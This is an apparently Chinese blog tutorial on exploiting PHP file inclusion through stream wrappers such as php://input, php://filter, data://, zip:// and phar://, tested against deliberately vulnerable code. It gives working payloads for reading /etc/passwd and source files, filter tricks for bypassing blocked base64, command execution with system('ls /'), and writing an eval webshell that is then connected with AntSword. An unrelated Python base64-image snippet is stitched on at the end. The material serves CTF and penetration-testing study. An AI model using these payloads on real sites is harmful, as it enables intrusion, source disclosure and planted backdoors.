base64 转文件_PHP伪协议与文件包含

PHP伪协议与文件包含

  • PHP伪协议与文件包含

  • php:// 协议

    • php://input

    • php://filter

  • data:// 协议

  • file:// 协议

  • zip://、bzip2://、zlib://协议

    • zip://协议

    • bzip2://协议

    • zlib://协议

  • phar://伪协议

文件包含漏洞(File Inclusion)

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些文件包含函数利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

文件包含漏洞特征:

  • ?page=a.php
  • ?home=b.html
  • ?file=content

检测方法:

  • ?file=../../../../etc/passwd
  • ?page=file:///etc/passwd
  • ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt

关于文件包含漏洞的具体详情,我们不再赘述,下面我们来总结一下PHP伪协议在文件包含中的利用。

PHP伪协议与文件包含

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。

首先归纳下常见的文件包含函数:includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:php://filterphp://inputfile://data://zip://compress.bzip2://compress.zlib://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen:on  默认开启  该选项用于设置是否允许将URL作为文件处理。该选项为on便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。

allow_url_include:off  默认关闭,该选项为on便是允许 包含 URL 对象文件等。

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

php:// 协议

利用条件:

  • allow_url_fopen:不需要开启
  • allow_url_include:仅php://input php://stdin php://memory php://temp需要开启

作用

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在双off的情况下也可以正常使用。

php://input

php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,可以将post请求中的数据作为PHP代码执行。

注意:在enctype="multipart/form-data" 的时候php://input是无效的。

要求PHP.ini:

allow_url_fopen: off或on  // 无要求
allow_url_include: on

用法:?file=php://input 数据利用POST直接传过去。如下测试。

测试代码:

<?php echo file_get_contents($_GET['whoami']);?>

测试结果:

2daf8e6b8944cb3d72c3ae0e849baa9f.png
image-20200815163356474

成功输出了我们POST过去的data数据。

php://input 执行php代码与写入木马

测试代码:

<?php 
    $filename  = $_GET['file'];include($filename);?>

我们构造如下:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:
<?php  phpinfo(); ?>

如下,成功执行:

3e7ffe0486e8af9f6dc46e809f3ea1c2.png
image-20200815163848057

命令执行:

我们构造如下:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:
<?php  system('ls /'); ?>
6f58aeb443567cc2cf19af1d4c75dcd8.png
image-20200815213804709

若有写入权限,可以写入一句话木马:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:
<?php  fputs(fopen('shell.php','w'),'<?php  @eval($_POST[whoami]);?>');?>
65eaa5cefdf72b71ecf00f1c240507f7.png
image-20200815164024699

蚁剑连接成功:

0b6f5ec84d124310d6dde2c82471a4f1.png
image-20200815164139935

php://filter

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。

php://filter常用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在allow_url_fopen和allow_url_include双off的情况下也可以正常使用。

要求PHP.ini:

allow_url_fopen: off或on  // 无要求
allow_url_include: off或on  // 无要求

php://filter参数详解:

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=必须项。它指定了你要筛选过滤的数据流。
read=可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表:

此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

字符串过滤器作用
string.rot13等同于str_rot13(),rot13变换
string.toupper等同于strtoupper(),转大写字母
string.tolower等同于strtolower(),转小写字母
string.strip_tags等同于strip_tags(),去除html、PHP语言标签
转换过滤器作用
convert.base64convert.base64-encode & convert.base64-decode分别等同于base64_encode()base64_decode(),base64编码解码
convert.quotedquoted-printable 字符串与 8 为字符串编码解码,有convert.quoted-printable-encode 和 convert.quoted-printable-decode。使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。
convert.iconv.*这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

下面我们来实验用php://filter来读写文件。

测试代码:

<?php 
    $file1 = $_GET['file1'];
    $file2 = $_GET['file2'];
    $txt = $_GET['txt'];  // 写入的内容echo file_get_contents($file1);    // 或者是include($file1);
    file_put_contents($file2,$txt);?>
读取文件
test.php?file1=php://filter/resource=/etc/passwd

test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php    // 专用于读取php文件

测试结果:

869189e1c8778a151ea9844821ef4f89.png
image-20200815170005879

读取php文件:

65e635847b5a8f9e616359a8de8a0607.png
image-20200815170201017

base64解码即可。

在实战中,若是遇上includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile等文件包含函数,我们可以用php://filter来读取php源码。

写入文件
test.php?file2=php://filter/resource=test1.txt&txt=Thanks Bunny!

test.php?file2=php://filter/write=convert.base64-encode/resource=test2.txt&txt=Thanks Bunny!

分别执行后查看生成的txt文件:

ec3e0a01b59fc25869ce7d3686b751c9.png
image-20200815171035715

如上图写入成功。

php://filter 绕过 convert.base64
convert.base64过滤器

convert.base64-encode & convert.base64-decode分别等同于base64_encode()base64_decode(),base64编码解码。最常见的,不再赘述。

如果base64被过滤了,那我们就可以用下面的那几个convert转换过滤器。

convert.quoted过滤器

这个过滤器用于 quoted-printable 字符串与 8 为字符串的编码解码。

有convert.quoted-printable-encode 和 convert.quoted-printable-decode 这两个。

使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。

quoted_printable_decode() 函数对经过 quoted-printable 编码后的字符串进行解码,返回 8 位的 ASCII 字符串

<?php 
$str = "I=0Alove=0AShanghai!";
echo quoted_printable_decode($str);
?>

// 输出I love Shanghai!

网上用于quoted-printable 编码解码的网址有:

http://www.mxcz.net/tools/quotedprintable.aspx

http://web.chacuo.net/charsetquotedprintable

测试代码:

<?php include($_GET['file']);?>

我们用flag.php来做实验:

b5eb90bbb664028ff48c863689599e10.png
image-20200815171619018

payload:

test.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php  
0da602054f1fc7484fcf35b0bf0933a4.png
image-20200815173356834
convert.iconv.*过滤器

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。*使用convert.iconv.过滤器等同于用iconv()函数处理所有的流数据。

convert.iconv.*的使用有两种方法

convert.iconv.. 
或者
convert.iconv./

PHP iconv()函数

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

iconv() — 将字符串按要求的字符编码来转换。

说明

iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串 str 从 in_charset 转换编码到 out_charset,返回转换后的字符串。

蓝帽杯有一道题,文件包含用php://filter读源码,但是base64和read=都被过滤了,所以我们可以使用convert.iconv。我们将convert.base64-encode改为convert.iconv.utf-8.utf-7,即filename=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=php://filter/read=convert.iconv.utf-8.utf-7/resource=flag.php

// 也就是将utf-8编码转换为utf-7编码
195a10dce17e030b7afebd2da1805209.png
image-20200815174729969

如上图,成功得到flag,其稍作修改即可。

当然,我们也可以用字符串过滤器,如下。

string.rot13(移位编码)

(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据

string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,即传递一个编码过的字符串作为参数,将得到原始字符串。

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=php://filter/read=string.rot13/resource=flag.php

// 也就是将utf-8编码转换为utf-7编码
d25cd3f7668c4b26abc5db0c6925f09c.png
image-20200815180506105

在网上将其rot13解码即可,解码地址:https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html

data:// 协议

数据流封装器,和php://相似都是利用了流的概念,将原本的要include的文件流重定向到了用户可控制的输入流中简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

要求PHP.ini:

allow_url_fopen: on
allow_url_include: on

用法:

和php伪协议的php://input类似,碰到file_get_contents()可以用;

 <?php  // 打印 “输出" echo file_get_contents($_GET[file]); ?>

payload:

test.php?file=data://text/plain;base64,VGhhbmtzJTIwQnVubnklMjE=
0ccfb9497db5f3bc7bb5eb2c8f3040f7.png
image-20200815202309580

如果遇上include文件包含,还可以造成任意代码执行:

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=data://text/plain,<?php  phpinfo();?>

test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
14d6cd212d1c6aa270d2bd29c17f938e.png
image-20200815202637601
5ba6c25202592c06a318c4fabc6c0b88.png
image-20200815203509516

也可以像一下这种形式:

test.php?file=data:text/plain,<?php  phpinfo()?>
test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
test.php?file=data:,<?php  phpinfo()?>

都是可以的:

f049f377a76ddd68aff94781ed8c5838.png
image-20200815203746759

有权限的话还可以写shell。

data这里还有这样一个好玩的,这是2020蓝帽杯的一个题,有以下一个限制:

3e3cd03ecef0df434afff961fe18f253.png
image-20200807184117327

让我们用GET传一个参数,指向一个文件,如果开文件的内容中不存在php,那么就包含该文件。我们的利用思路当然是让他包含一个php文件。

我们用以下方法绕过,即:

file_get_contents('data:,xx/res');   // 将返回字符串'xx/res' 
include('data:,xx/res');            // 将包含res文件的内容

证明测试如下:

在Web根目录下有一个test.php,还有一个名为data:,xx的目录,里面有一个res文件,res文件的内容为 phpinfo();?>

cf4cb165563442c0a38baa774dc8b1ae.png
image-20200808164538288

访问test.php代码如下:

d9b67bff29f0e9d8ca1dbd55fe6862d5.png
image-20200808164559941

此时,如果我们输入/test.php?page=data:,xx/res

6a8f4be3e384127d15e968c3bd7e9a19.png
image-20200808164713218

如上图将返回字符串'xx/res'。接下来我们把include前的注释去掉,再测试一遍:

561e4071fcb55a3c18517e604353b85d.png
image-20200808165107017

效果可见一斑。利用以上原理,就可以绕过这个限制了。

也就是说,如果data是这种形式:data:,xx/res,且不存在data:,xx目录的话,include和file_get_contents都返回字符串xx/res;如果存在data:,xx目录的话,那么include将包含data:,xx目录里的res文件,造成php代码执行,而file_get_contents则任然只会返回字符串xx/res

file:// 协议

通过file协议可以访问本地文件系统,读取到文件的内容,

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=file:///etc/passwd
0f5a64970d84fb34fed9837b208fe62f.png
image-20200815205507910

但是不能用来读取php文件的源码,且单纯的file://伪协议不配合文件包含漏洞是不能执行文件里的php代码的。

zip://、bzip2://、zlib://协议

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

要求php.ini:

allow_url_fopen: off/on      // 无要求
allow_url_include: off/on    // 无要求

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用。

zip://协议

条件:PHP > =5.3.0,注意在windows下测试要5.3.0

使用方法:

zip://archive.zip#dir/file.txt

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

# 在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php include($_GET['file']);?>

即先在本地将要执行的PHP代码写好文件名为shell.php,再将shell.txt进行zip压缩,压缩文件名为whoami.zip:

f255ea1de11ad386f378cf4705d0fac8.png
image-20200815210650620

如果可以上传zip文件便直接上传,若不能便将whoami.zip重命名为whoami.jpg后再上传,其他几种压缩格式也可以这样操作。然后,就用zip://协议访问我们上传的whoami.zip(或whoami.jpg)里面的shell.php(适用于有文件上传和文件包含的地方):

payload:

test.php?file=zip:///var/www/html/whoami.zip%23shell.txt
a7f7e9374cbd16ad18d78b4f1c9e5a97.png
image-20200815212307187

bzip2://协议

使用方法:

compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

test.php?file=compress.bzip2://目录/phpinfo.bz2

即可执行phpinfo。

zlib://协议

使用方法:

compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

test.php?file=compress.zlib://目录/phpinfo.bz2

即可执行phpinfo。

phar://伪协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,不管后缀是什么,都会当做压缩包来解压

用法:?file=phar://压缩包/内部文件 注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

测试代码:

<?php include($_GET['file']);?>

步骤:写一个木马文件shell.txt,然后用zip协议压缩为whoami.zip,然后将后缀改为png等其他格式,上传,然后再用phar伪协议来访问: (和zip://用法类似的)

test.php?file=phar:///var/www/html/whoami.png/shell.txt
ea16eee1f2c9715667c4b503f67519de.png
image-20200815213458198
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要打开base64图片流,首先要将base64字符串换为二进制数据,然后将二进制数据保存为图片文件。在Python中,可以使用base64模块中的b64decode函数将base64字符串解码为二进制数据,然后使用open函数创建一个文件对象,将二进制数据写入文件即可。 示例代码如下: ```python import base64 # 将base64字符串解码为二进制数据 base64_str = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH5AUNEQsl0dysQwAAAYNJREFUOMvNk0EOwCAQhfc3v9+KCg0+QWtW0m1W9c7qKdDUe6HcJKECzA4C4g0PQ9gF/gDDZDwQZgC5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcH5C5g7gPwKka4B+BLgqwJY6NIEIcL+Ll8fJm7pXCLAAAAAElFTkSuQmCC" img_data = base64.b64decode(base64_str.split(',')[1]) # 将二进制数据保存为图片文件 with open("test.png", "wb") as f: f.write(img_data) ``` 要将图片文件换为base64字符串,可以使用base64模块中的b64encode函数将二进制数据编码为base64字符串,然后将字符串拼接成data URI格式的字符串。 示例代码如下: ```python import base64 # 将图片文件读取为二进制数据 with open("test.png", "rb") as f: img_data = f.read() # 将二进制数据编码为base64字符串 base64_str = base64.b64encode(img_data).decode() # 将base64字符串拼接成data URI格式的字符串 data_uri = "data:image/png;base64," + base64_str print(data_uri) ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值